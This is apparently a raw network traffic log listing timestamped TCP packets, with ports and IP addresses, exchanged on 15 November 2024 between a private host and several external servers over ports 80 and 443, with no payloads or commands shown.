Nov 15, 2024 09:55:43.141258001 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141282082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141292095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141302109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141314983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141324043 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141324997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141345024 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141367912 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.168283939 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.168365955 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.168385983 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.168453932 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.168523073 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.169686079 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.169749022 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.169751883 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.169872046 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.169986963 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.170001984 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.174921036 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.174937963 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.174948931 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.178177118 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.178193092 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.181328058 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.181355000 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.181364059 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.181382895 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.181438923 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.181462049 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.181462049 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.181483984 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.181502104 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.181545973 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.181545973 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.184614897 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.184647083 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.185408115 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.185425043 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.202048063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.206923008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.207195997 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:43.207235098 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:43.207343102 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:43.207617044 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:43.207627058 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:43.221340895 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.222088099 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.222162962 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.223031998 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.223047972 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.270261049 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.270294905 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.270306110 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.270353079 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.270368099 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.270379066 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.270411015 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.270426989 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.270443916 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.270467043 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.277538061 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.277555943 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.277576923 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.277585030 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.277616024 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.277618885 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.277643919 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.277671099 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.297600031 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.298161030 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.298202038 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.298995972 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.299001932 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.302659035 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.303205013 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.303246021 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.303693056 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.303700924 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.322202921 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.331521034 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331549883 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331557989 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331588030 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331614017 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331617117 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.331626892 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331650972 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331667900 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.331667900 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.331688881 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.331698895 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331752062 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.331758976 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331773043 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.331813097 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.333632946 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.333655119 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.356372118 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.356404066 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.356466055 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.356504917 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.356554031 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.356913090 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.356935978 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.356950045 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.356956005 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.360572100 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.360619068 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.360690117 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.360882998 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.360896111 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.374618053 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:43.374978065 CET	49955	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:43.374999046 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:43.375489950 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:43.375808954 CET	49955	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:43.375881910 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:43.376012087 CET	49955	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:43.385252953 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.385267019 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.385287046 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.385325909 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.385338068 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.385348082 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.385390043 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.392424107 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.392433882 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.392460108 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.392507076 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.392512083 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.392549038 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.393183947 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.393244982 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.394889116 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.394916058 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.394964933 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.394968987 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.394979954 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.394982100 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.395040035 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.395401955 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.395416021 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.419343948 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:43.425565004 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.425591946 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.425642967 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.425678968 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.425707102 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.431405067 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.431436062 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.431482077 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.431533098 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.431566000 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.456856966 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.456904888 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.456928968 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.456935883 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.458342075 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.458368063 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.458384991 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.458389997 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.477277994 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.477324009 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.477451086 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.478102922 CET	49963	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.478138924 CET	443	49963	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.478199005 CET	49963	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.478312969 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.478322983 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.478415012 CET	49963	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:43.478425026 CET	443	49963	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:43.483395100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483515978 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.483604908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483618975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483627081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483638048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483652115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483664989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483669043 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.483679056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483690977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483697891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483711958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.483753920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.483906031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483951092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.483969927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.483989954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484003067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484014034 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484025955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484030962 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484055996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484088898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484095097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484107971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484119892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484132051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484147072 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484168053 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484190941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484302998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484314919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484332085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484347105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484349966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484364033 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484371901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484378099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484390020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484392881 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484402895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484415054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484422922 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484433889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484437943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484448910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484463930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484496117 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484499931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484513044 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484528065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484555960 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484564066 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484580040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484591961 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484603882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484616995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484627962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484631062 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484641075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484652996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.484653950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484682083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.484711885 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.485044003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.485061884 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.485074997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.485085964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.485100031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.485110998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.485115051 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.485124111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.485131025 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.485137939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.485157967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.485187054 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.546485901 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:43.546646118 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:43.546700954 CET	49955	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:43.547676086 CET	49955	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:43.547696114 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:43.577917099 CET	49964	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:43.577963114 CET	443	49964	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:43.578371048 CET	49964	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:43.578994036 CET	49965	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:43.579035044 CET	443	49965	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:43.579353094 CET	49964	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:43.579369068 CET	443	49964	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:43.579659939 CET	49965	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:43.579659939 CET	49965	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:43.579690933 CET	443	49965	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:43.591866970 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.591907978 CET	443	49966	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.592050076 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.592355013 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.592379093 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.592473030 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.592734098 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.592767000 CET	443	49968	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.592817068 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.601773977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601787090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601799011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601818085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601829052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601840019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601850986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601861954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601866961 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.601916075 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.601928949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601947069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601958036 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601967096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601984024 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.601986885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.601999998 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602001905 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602020025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602031946 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602032900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602049112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602049112 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602068901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602070093 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602082968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602092028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602096081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602108002 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602118969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602122068 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602148056 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602160931 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602195978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602207899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602217913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602229118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602231979 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602241993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602250099 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602256060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602266073 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602292061 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602300882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602317095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602328062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602334976 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602339029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602356911 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602361917 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602370024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602390051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602390051 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602401972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602402925 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602413893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602422953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602427959 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602435112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602447987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602461100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602473021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602474928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602495909 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.602495909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.602511883 CET	80	49872	185.215.113.206	192.168.2.7
